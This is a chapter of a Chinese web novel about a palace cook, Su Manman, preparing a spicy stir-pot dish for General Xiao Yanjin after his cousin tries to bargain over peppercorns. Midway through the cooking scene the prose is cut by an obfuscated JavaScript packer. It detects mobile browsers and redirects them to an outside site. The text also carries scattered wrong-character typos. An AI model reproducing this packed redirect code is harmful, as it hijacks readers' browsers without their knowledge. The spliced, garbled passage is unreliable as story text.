苏蛮蛮扭头看向他，不用问就知道他是来干嘛的，平日里萧燕瑾没有给他留的吃食，苏蛮蛮都会给他留上一份。 以至于每一次军师都会偷偷地来厨房偷吃，吃完了之后再到院中去散散步，去去自己身上的味道，最后再去找萧燕瑾。 这一次，也不例外。 看见军师来了后，苏蛮蛮就将东西一应放在桌上，将米线和配菜通通放进碗里，军师看得眼睛都亮了，已经迫不及待想要吃上一吃。 他看着苏蛮蛮那一系列动作，闻着眼前碗里飘出来的香味，喉咙滚了又滚，口水都不知道吞了几轮，终于他挑起一筷子，吹都忘记了，径直往嘴里送去。 “哇——呼——” 刚碰到嘴唇，就被烫得赶忙将米线放了回去，苏蛮蛮站在一旁笑着说道：“哈哈哈，你慢点吧，这么烫，更何况在这里也没人跟你抢。” 军师摸了摸自己的唇角，放下筷子倒上了一杯水赶紧润润，紧接着又挑起了一筷子，这一次他吹了吹才往嘴里送，吃得那叫一个满足。 一边吃一边夸赞着苏蛮蛮，“苏姑娘，不得不说，我在这府里这么些年了，自从你到了厨房，我一下子都胖了好几圈！别说我了，这整个府里的丫鬟小厮，哪个没有胖上一圈啊！” “哈哈哈，军师说笑了。” “诶，你也别叫我军师了，我和将军年龄相仿，我姓谢，你就叫我谢大哥吧！”谢允将最后一口吃进嘴里说道。 “好，谢大哥！” 两人相视一望，乐呵地笑着，谢允将配菜什么的都吃得一干二净，放下筷子准备抱着碗将里面的汤都喝个干净的时候，身后出现了一个熟悉得不能再熟悉的声音。 “谢军师，吃得可还尽兴啊？” 谢允沉迷在了美食之中，放下碗用袖子擦了擦嘴角，笑着答道：“尽兴！尽兴！” 说罢，他扭头一看，整个人都僵在了原地，嘴角微咧着轻轻地说了两个字：“将....军.....” 14. 麻辣香锅 军师自被萧燕瑾抓包的那天起已经有三日没有到厨房来悄悄开过小灶了，之前每天都来，现下不来了苏蛮蛮还有些不太习惯。 再过两日就是除夕夜了，苏蛮蛮指尖捻起最后几粒暗红的花椒对着那陶罐底叹了口气。 “蛮蛮，怎么了？”李妈妈正抱着一捆洗得水灵灵的冬笋进来，见状探头过来，粗布围裙上蹭了许多的水渍。 苏蛮蛮晃了晃手中轻飘飘的罐子，苦着脸：“这点花椒，怕是练半锅香锅的魂儿都吊不起来......麻香不够，那还叫什么麻辣香锅？” 她心里盘算着除夕夜的菜单，这道压轴的“新菜”，眼看着就要夭折在香料不足上了。 话音未落，一道水红身影便袅袅娜娜地倚靠在了厨房的门框上，带着一丝若有若无的脂粉香。 苏蛮蛮抬眼看向门口。 柳青青今日显然是精心打扮过，水红的锦缎袄裙衬得她肤白胜雪，发髻上一支点翠步摇微微晃动。 自上次落水事件之后，这位“表小姐”虽然被萧燕瑾冷落，整个府里也鲜少看见她的身影，但是她却依旧寻着机会就晃荡。 柳青青轻笑一声，“姐姐，说来叶巧，妹妹那儿呀倒是还有半罐上好的汉源贡椒，油亮饱满。” 汉源贡椒？苏蛮蛮心尖一跳，这可是花椒里的极品！ 若是真能有半罐，莫说一锅，就是整个除夕宴席的麻辣味都能撑得起来。 可是她柳青青怎么会突然这么好心？简直是黄鼠狼给鸡拜年。 “不过......”柳青青果然话锋一转，拖长了调子。 萧燕瑾不知道何时站在了厨房门口，玄色常服衬得他身姿挺拔，面容陈姐，那双深邃的眼眸正扫过柳青青捧在手中的精致食盒，最终沉沉地落在了苏蛮蛮手里拿空了大半的粗陶花椒罐上。 李妈妈抱着冬笋站在一旁，大气也不敢出。 柳青青脸上的笑容越发甜美，声音愈发娇柔婉转，“......姐姐若是想要那贡椒，也使得，只是得先让表哥尝尝妹妹近日新学的这‘玉露玫瑰酥’。” 她说着，纤纤玉指轻轻掀开了食盒的盖子，露出里面几块做得异常精巧的粉色电信，花瓣层叠，中心一点花蕊，倒是真有几分玫瑰含露的娇态，“这方子可是妹妹特意托人从江南寻来的，最是清雅养人，表哥连日操劳......” 她的话没有说完。 萧燕瑾的目光从那碟过于精致的点心上移开，再次落到苏蛮蛮身上，声音不高，“不必。” 两个字，干脆利落。 柳青青脸上的笑容猛地僵住，血色以肉眼可见的速度褪去。 萧燕瑾仿佛没有看见她的失态，视线锁着苏蛮蛮，继续道：“你的香锅，”他顿了顿，像是在下达一项至关重要的军令，“现在做。” 柳青青胸口剧烈起伏了一下，勉强维持着摇摇欲坠的体面，挤出一个比哭还难看的笑容，“表哥....那贡椒......” “表妹不是专程来给她送贡椒的吗，既是这样那就拿出来吧。”一句简短的话，将柳青青最后的体面砸得粉碎，她将那汉源贡椒交给苏蛮蛮，转身就走，走到门口时还猛地一跺脚，那水红的背影带着一股压抑不住的狼狈，差点撞上端着洗好的青菜进来的周妈妈。 “哎哟！”周妈妈惊呼一声，险险躲开，看着柳青青冲出去的背影，又看了看厨房里那诡异的气氛，明智地闭上了嘴，默默把青菜放到案板上。 萧燕瑾挪步走到灶台边，目光扫过苏蛮蛮已经备好的各色食材：焯过水脆生生的藕片、冬笋，泡发好打上花刀的犹豫，嫩滑的鸡脯肉片。炸得金黄酥脆的小肉丸，水灵灵的青菜，还有泡发的木耳、香菇.....堆满了几个大粗陶盆。 “李妈妈！”苏蛮蛮扬声，“把咱们存的干辣椒，不拘红的、野山椒，全拿来，还有那罐子压箱底的紫草籽、草果、良姜、小茴香粉和白芝麻，周妈妈，把阿史那带来的那袋子白皮核桃砸一小碗核桃仁出来！” 她一边飞快吩咐，一边走到存放香料的架子旁边，踮脚取下几个小馆子。 虽说这花椒到了自己手里，但是保不齐柳青青真的会做什么手脚，保命要紧，还是用自己的方法吧。 没有顶级花椒，她就用复合香料和极致的辣香来弥补，用坚果的醇厚香气增加风味的层次，紫草籽能赋予红油更诱人的色泽，草果、良姜、小茴香粉则是能够模拟出类似花椒的某种辛香。 厨房如同被按下了加速键。 李妈妈和周妈妈立刻分头行动，翻箱倒柜，萧燕瑾则是抱着臂，默不作声地退到厨房边上的桌前坐下，目光紧紧地追随着苏蛮蛮的每一个动作。 一口专门炼油的小厚锅被架上火口，苏蛮蛮先是倒入小半锅菜籽油，阿史那带来的宝贝还剩下一些，比猪油更清亮耐高温。 油温升至三四成热，她抓了一大把砸碎的核桃仁丢了进去。 “滋啦！——” 核桃仁在温油中翻滚，渐渐变得金黄酥脆，一股浓郁的坚果焦香瞬间弥漫开来，苏蛮蛮用细密的竹漏勺迅速捞起炸得恰到好处的核桃碎，控油备用。 锅里的油，已经染上了一层淡淡的金黄色，浸润了核桃的脂香。 接下来，油温升高，开始冒出缕缕青烟，苏蛮蛮眼神专注，将一大碗混合好的各色干辣椒，连同拍碎的草果、良姜片、紫草籽以及几大勺小茴香粉，一股脑儿倒入滚油之中。 “轰——！” 剧烈的沸腾声在锅中炸响，滚烫的热油与干燥的香料猛烈碰撞，激起了大片的油泡和浓烈到呛人的辛香，辣椒的霸道灼烈、草果良姜的奇异药香、紫草籽释放的诱人红亮、小茴香的微甜辛麻…… “咳咳咳！”离得最近的周妈妈猝不及防，被这凶猛的油烟呛得连连后退，眼泪直流，捂着嘴咳得说不出话来。 李妈妈也眯起了眼，使劲儿扇着面前的空气，又是惊叹又是担忧地看了看锅里又看了看苏蛮蛮。 苏蛮蛮却恍若未觉，她的全部心神都系在那口翻腾的油锅上，手腕沉稳，用小铁勺缓缓搅动着，控制着火候，让每一种香料在滚油中充分释放自己的精华。 汗水顺着她的额角滑下，她也顾不上擦。 萧燕瑾不知何时站在了屋外，直到厨房里的浓烟消散，苏蛮蛮将那麻辣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735105|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香油彻底盛起来的时候，他才重新走了进去坐了下来。 苏蛮蛮也并未察觉，麻辣香锅的魂有了，她便不再单个，立刻开始最后的步骤。 大铁锅重新上灶烧热，舀入两大勺刚刚炼制好的麻辣香油，油热，投入拍扁的大蒜、切段的葱白，还有几篇姜爆香。 “嗤啦——” 香气再次升腾，接着按照食材的易熟程度，苏蛮蛮动作迅捷如风，先将难熟的鱿鱼卷、鸡片滑入锅中快速翻炒至变色，再依次投入藕片、冬笋、肉丸、木耳、香菇……最后是青菜。 她手中锅铲翻飞，动作带着一种行云流水般的美感、 所有食材在红亮的麻辣香油包裹下翻滚、跳跃，均匀地染上诱人的色泽，最后她撒入少许盐，一点点提鲜的虾皮粉，又淋入一小勺芝麻油增香。 “起锅！” 苏蛮蛮医生清喝，双手用力，将满满一大锅油光红亮的“麻辣香锅”端离火口。 滚烫的锅气混合着那勾魂夺魄的浓香，扑面而来。 她取过一个最大的厚胎粗陶海碗，小心地将锅里的吃食倾倒入碗中，红亮的油汁包裹着各色食材，堆得冒尖。 最后，她又撒上一小把炸得金黄的核桃碎和少许白芝麻作为点缀。 萧燕瑾的目光在那碗红彤彤的香锅上停留了足足三息，他沉默地拿起一旁的乌木长筷，目光扫过碗中内容：染着红油的藕片晶莹、鱿鱼卷微微打卷、鸡片滑嫩、肉丸金黄、青菜碧绿……最终，他夹起了一块吸饱了红亮汤汁的藕片，上面还粘着几粒金黄的核桃碎。 没有丝毫犹豫，送入口中。 牙齿首先感受到藕片爽脆的口感，紧接着，是排山倒海般席卷而来的味道！ “嘶——” 一声极其压抑、仿佛是从喉咙深处被强行挤出来的抽气声响起！ 萧燕瑾握着筷子的手瞬间绷紧，指节因为用力而泛白，他猛地低下头，额角以肉眼可见的速度沁出细密的汗珠，从苏蛮蛮的角度看过去，能清晰地看到他冷峻的侧脸线条绷紧的状态，耳根更是以惊人的速度蔓延开一片深红，一直红到了脖颈。 他飞快地拒绝了几下，将那滚烫、火辣的藕片囫囵咽下，动作快得几乎有些狼狈，随即他本能地伸手，一把抓过旁边那碗温度适中的白米饭，狠狠扒了一大口。 温润微甜的米饭涌入，如同救兵一般，稍稍中和了一下口腔里那燎原的烈火，他咀嚼着米饭，喉结剧烈地上下滚动，额上的汗珠冒得更加密了。 萧燕瑾终于咽下了那口救命的米饭，又停顿了片刻，他缓缓抬起头，额发被汗水濡湿了几缕，紧贴在饱满的额角，那双深邃的眼眸也因为方才突然的刺激而蒙上了一层薄薄的水光，眼尾甚至微微泛着红，使得他整个人的冷硬气质奇迹地软化了些许，竟还透出了一种难以言喻的......生动？ 他避开苏蛮蛮紧张探寻的目光，重新拿起筷子，这一次，是精准地夹向了碗里一个吸饱了红油、圆滚滚的金黄小肉丸。 他没有立刻吃，只是看着筷子上那油亮诱人的丸子，沉默了片刻，随即淡淡地说道：“花椒......明日着人去买。”